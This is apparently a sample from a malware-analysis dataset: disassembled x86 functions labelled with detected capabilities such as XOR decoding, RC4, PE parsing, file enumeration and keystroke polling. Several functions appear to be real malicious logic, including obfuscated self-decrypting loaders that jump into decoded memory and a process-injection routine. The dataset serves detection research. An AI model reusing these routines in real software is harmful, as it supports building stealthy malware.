joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x403203
pop dword [ebp - 0x14]
mov eax, 0x403203
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xe2af23f4
sub dword [ebp - 0x24], 0x945cdea9
mov dword [ebp - 0x20], 0x33d7e2f
add dword [ebp - 0x20], 0x2ef5ce16
mov dword [ebp - 0x1c], 0x5ac8339d
add dword [ebp - 0x1c], 0xf1841091
mov dword [ebp - 0x18], 0x5ca11c13
add dword [ebp - 0x18], 0xa35ee3ed
lea eax, [ebp - 0x24]
push eax
mov eax, 0x8f9c3dba
add eax, 0x70a432aa
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x1adb01f2
add dword [ebp - 0x24], 0x59976764
mov dword [ebp - 0x20], 0x7e87bbd8
add dword [ebp - 0x20], 0xc2e4a59d
mov dword [ebp - 0x1c], 0x8a960ba6
add dword [ebp - 0x1c], 0xd8d960c6
mov dword [ebp - 0x18], 0xa96bde6e
add dword [ebp - 0x18], 0x56942192
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x318f9
push 0
call eax
mov ecx, 0xede4c4da
sub ecx, 0xede490fc
xor ebx, ebx
add ebx, eax
mov esi, 0xe1dbaa21
sub esi, 0xe19aaa21
add esi, dword [ebp - 0x14]
mov edi, 0x365da57a
sub edi, 0x50b18cf5
sub dword [ebp - 0xc], edx
mov edx, dword [esi]
add dword [ebp - 8], 0x89703a07
sub edx, edi
xor dword [ebp - 0xc], eax
mov dword [ebx], edx
add dword [ebp - 0xc], 0x70625ba2
add ebx, 0x3663f42e
add ebx, 0xc99c0bd6
add esi, 0x13488460
sub esi, 0x1348845c
loop 0x40331d
add eax, 0x76ebc44
add eax, 0xf8920607
xor ebx, ebx
add ebx, eax
add eax, 0x2588391b
add eax, 0xda77c6ea
mov ecx, 0xef5637f7
sub ecx, 0xef1637f7
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x444940
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x488cb0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x4a2014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x4a3074
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00457f00
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x4a2a8c
push eax
call fcn.00457f00
mov esi, dword [0x4a3084]
xor ebx, ebx
mov edi, dword [0x4a3088]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x4a62d0], bl
mov eax, ebx
mov ecx, 0x4a3074
cmovae ecx, dword [0x4a3074]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x4a63e0], al
inc ebx
cmp ebx, 0x100
jl 0x4449c0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x4a62d0]
movzx eax, byte [esi + 0x4a63e0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x444a14
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x4a62d0]
mov byte [esi + 0x4a62d0], al
inc esi
mov byte [edi + 0x4a62d0], dl
cmp esi, 0x100
jl 0x4449f0
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00444590
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x444a69
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x444a5f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444abf
push edx
push ecx
call fcn.0045d569
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x444aab
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x444aa1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444abf
push edx
push ecx
call fcn.0045d569
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00476b7a
int3
Function at 0x447050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x4a2014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x50d0e78
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x447239
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x447239
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00474000
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x50c0394
nop
test eax, eax
je 0x447239
push 4
push 0x1000
push 4
push 0
call 0x50d0ac5
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x50c000c
nop
test eax, eax
je 0x447239
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x498d48
push dword [esp + 0x30]
call 0x50e0000
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x44715c
push 0x498d4c
push 0x498d64
call 0x50d07bd
nop
push eax
call 0x50c00e5
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x50c02b2
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x447239
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x50d0d33
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x4471f3
mov dword [esp + 0xc], eax
call fcn.00446ea0
push eax
call 0x50d07b7
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x50d0d33
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x4471a2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x50d0d33
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x50c047b
nop
push dword [esp + 0x24]
call 0x50d0880
nop
push 0x8000
push 0
push esi
call 0x50d0c1c
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0045cef4
mov esp, ebp
pop ebp
ret
Function at 0x100062f5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x10006304
pop dword [ebp - 4]
mov eax, 0x853871cc
sub eax, 0x75380ec8
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x18691d5e
add dword [ebp - 0x14], 0x35e927ed
mov dword [ebp - 0x10], 0x5f515a2b
sub dword [ebp - 0x10], 0x2d1e0de6
mov dword [ebp - 0xc], 0x84346c67
add dword [ebp - 0xc], 0xc817d7c7
mov dword [ebp - 8], 0x3146a9af
add dword [ebp - 8], 0xceb95651
lea eax, [ebp - 0x14]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x586b8e8a
add dword [ebp - 0x14], 0x1c06dacc
mov dword [ebp - 0x10], 0x279be997
add dword [ebp - 0x10], 0x19d077de
mov dword [ebp - 0xc], 0xdff05470
sub dword [ebp - 0xc], 0x7c80e804
mov dword [ebp - 8], 0x84fce29a
sub dword [ebp - 8], 0x84fce29a
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x38710
push 0
call eax
mov ecx, 0x89b7fe00
add ecx, 0x76484b11
xor edx, edx
add edx, eax
mov ebx, 0x17c005c
sub ebx, 0xf17ab05c
add ebx, dword [ebp - 4]
mov edi, 0xeaa4c59a
mov esi, dword [ebx]
xor esi, edi
mov dword [edx], esi
add edx, 4
add ebx, 0x6418750c
add ebx, 0x9be78af8
loop 0x10006418
add eax, 0xe1830e81
sub eax, 0xe181f76a
mov ebx, eax
add eax, 0x9ba507aa
sub eax, 0x9ba507a5
mov ecx, 0x8f52469b
sub ecx, 0x7f52469b
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x428c13
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x28
call fcn.0054b2c2
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
mov dword [ebx], 0x60ee23
push ebx
add ebx, 0x10
push ebx
push 8
call fcn.0054b2c2
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x60cdeb
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
pop ebx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x60cdd4
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x428cbb
push dword [ebp + 8]
mov eax, 0x60cf2f
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x428cb6
push ebx
call fcn.0054b2bc
add esp, 4
jmp 0x428ce8
push dword [ebp + 8]
mov eax, 0x60cf3d
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x428ce8
push ebx
call fcn.0054b2bc
add esp, 4
mov eax, 0x60eda5
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
mov eax, 0x60ee18
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x428d1e
push ebx
call fcn.0054b2bc
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x428d2e
push ebx
call fcn.0054b2bc
add esp, 4
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x2c]
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x428d5c
push ebx
call fcn.0054b2bc
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x428db4
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x58]
mov word [ebp - 8], ax
cmp word [ebp - 8], 0xc8
jne 0x428db4
push 1
push 1
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x428db0
push ebx
call fcn.0054b2bc
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x428dde
push eax
mov ebx, eax
call fcn.004010a1
inc eax
push eax
call fcn.0054b2c2
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x428de3
push eax
mov ebx, dword [ebp - 4]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.0054b2bc
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x428e04
push ebx
call fcn.0054b2bc
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x55a1f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x5fdfcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.005f26ee
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x55a272
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.005eff6f
mov eax, dword [eax]
push 0x10fae60
push eax
call fcn.005e1f04
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005f2979
test bl, bl
je 0x55a272
push 0x10fae60
lea ecx, [esp + 0xc]
call fcn.005f2d09
push 0x10fae6c
lea ecx, [esp + 0xc]
call fcn.005f2d09
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x55a2ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005f2979
jmp 0x55a379
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x55a332
lea edx, [esp + 0x7c]
push 0x10fae68
push edx
call fcn.005e1f04
add esp, 8
test eax, eax
je 0x55a332
lea eax, [esp + 0x7c]
push 0x10fae64
push eax
call fcn.005e1f04
add esp, 8
test eax, eax
je 0x55a332
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x55a2c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005f2979
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x55ab70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x55abd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x55abe0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x5fe04b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x110c2f8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x55ad18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x55ac46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005f2979
xor eax, eax
jmp 0x55ad8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.005f2ab6
push esi
lea ecx, [esp + 0xc]
call fcn.005f2d45
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x55ad6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push bind
call fcn.0055ab70
test eax, eax
jne 0x55ad6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push bind
mov ecx, edi
call fcn.0055ab70
test eax, eax
jne 0x55ad6d
lea eax, [esp + 0x14]
push 0x10fae7c
push eax
call fcn.005e3070
mov esi, eax
add esp, 8
test esi, esi
jne 0x55ad4c
lea ecx, [esp + 0x14]
push 0x10fae78
push ecx
call fcn.005e2ff0
mov esi, eax
add esp, 8
test esi, esi
jne 0x55ad4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x55ad4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.005f2a66
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x55ac5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005f2979
xor eax, eax
jmp 0x55ad8f
mov byte [esi], 0
push 0x10fae74
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005f2979
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x56d160
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x56d1ce
cmp si, 0x69
ja 0x56d1ce
add esi, 0xffd0
cmp si, 0x11
je 0x56d19e
push 0x11
call edi
test ax, ax
jge 0x56d19e
or esi, 0x2000
cmp si, 0x10
je 0x56d1b3
push 0x10
call edi
test ax, ax
jge 0x56d1b3
or esi, 0x4000
cmp si, 0x12
je 0x56d1c8
push 0x12
call edi
test ax, ax
jge 0x56d1c8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x56d1db
mov esi, 0xbd
jmp 0x56d18f
cmp si, 0x6e
jne 0x56d1e8
mov esi, 0xbe
jmp 0x56d18f
cmp si, 0x6f
jne 0x56d189
mov esi, 0xbf
jmp 0x56d18f

Function at 0x56ee00
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x111cc88]
xor edx, edx
cmp eax, edx
jne 0x56ee26
xor eax, eax
mov byte [eax + 0x111cb88], al
inc eax
cmp eax, 0x100
jl 0x56ee0e
mov dword [0x111cc88], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x111cb88
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x56eeb7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x56ee8a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x56ee58
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x56ef30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x56ef83
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x56ef6a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x576200
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x576398
cmp ebp, ebx
jle 0x576398
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x57625e
dec eax
or eax, 0xfffffff8
inc eax
je 0x576265
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x576274
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x57627b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.005f26ba
add esp, 4
cmp eax, ebx
je 0x57629c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.005f26ba
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x57638e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x576375
mov al, byte [edx]
cmp al, 0xc0
jbe 0x576361
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x576356
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x576364
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x576364
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x576300
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x5762f1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x5798e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5ffa18
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x579919
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.005fa091
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.005fa0dd
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.005799a0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.005fa11a
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24